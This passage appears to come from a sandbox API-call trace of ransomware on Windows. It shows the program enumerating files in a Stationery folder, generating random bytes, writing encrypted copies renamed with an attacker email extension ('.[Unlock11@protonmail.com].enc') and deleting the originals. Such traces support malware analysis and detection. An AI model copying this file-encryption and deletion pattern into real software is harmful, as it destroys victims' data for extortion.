ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7810 [0199.029] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.029] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0199.029] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a6754cb, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e12866, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e12866, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0199.030] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0199.031] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0199.032] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0199.032] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0199.032] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0199.032] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0199.032] FindNextFileA (in: hFindFile=0x10f7810, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0199.032] FindClose (in: hFindFile=0x10f7810 | out: hFindFile=0x10f7810) returned 1 [0199.033] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0199.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0199.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0199.034] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0199.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0199.035] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0199.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0199.035] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0199.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a25c0 | out: hHeap=0x2ad0000) returned 1 [0199.035] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0199.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0199.036] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881078, Size=0x20) returned 0x33eabc0 [0199.036] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0199.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0199.036] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0199.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.037] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0199.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a22a8 | out: hHeap=0x2ad0000) returned 1 [0199.054] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0199.054] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0199.055] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eabc0, Size=0x40) returned 0x3887608 [0199.055] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0199.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0199.055] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0199.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2618 | out: hHeap=0x2ad0000) returned 1 [0199.056] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0199.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0199.056] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0199.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2408 | out: hHeap=0x2ad0000) returned 1 [0199.056] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0199.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0199.057] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0199.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0199.057] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0199.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0199.058] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0199.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0199.058] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887608, Size=0x64) returned 0x2a197a8 [0199.058] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0199.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0199.058] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0199.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0199.059] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0199.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0199.060] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0199.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0199.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0199.060] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", lpFilePart=0x9bada4*="Bears.htm") returned 0x49 [0199.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0199.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0199.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0199.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0199.061] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.htm"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff)) returned 1 [0199.061] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674a5c | out: pbBuffer=0x3674a5c) returned 1 [0199.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0199.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0199.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0199.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea9b8 [0199.062] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.062] GetFileType (hFile=0x334) returned 0x1 [0199.062] GetFileType (hFile=0x334) returned 0x1 [0199.062] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.063] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.063] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.063] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.063] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.063] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.063] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.063] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.htm.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.064] GetFileType (hFile=0x39c) returned 0x1 [0199.064] GetFileType (hFile=0x39c) returned 0x1 [0199.064] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.065] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.065] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.065] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.065] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.065] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.065] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.067] CloseHandle (hObject=0x39c) returned 1 [0199.067] CloseHandle (hObject=0x334) returned 1 [0199.067] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0 [0199.068] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Microsoft 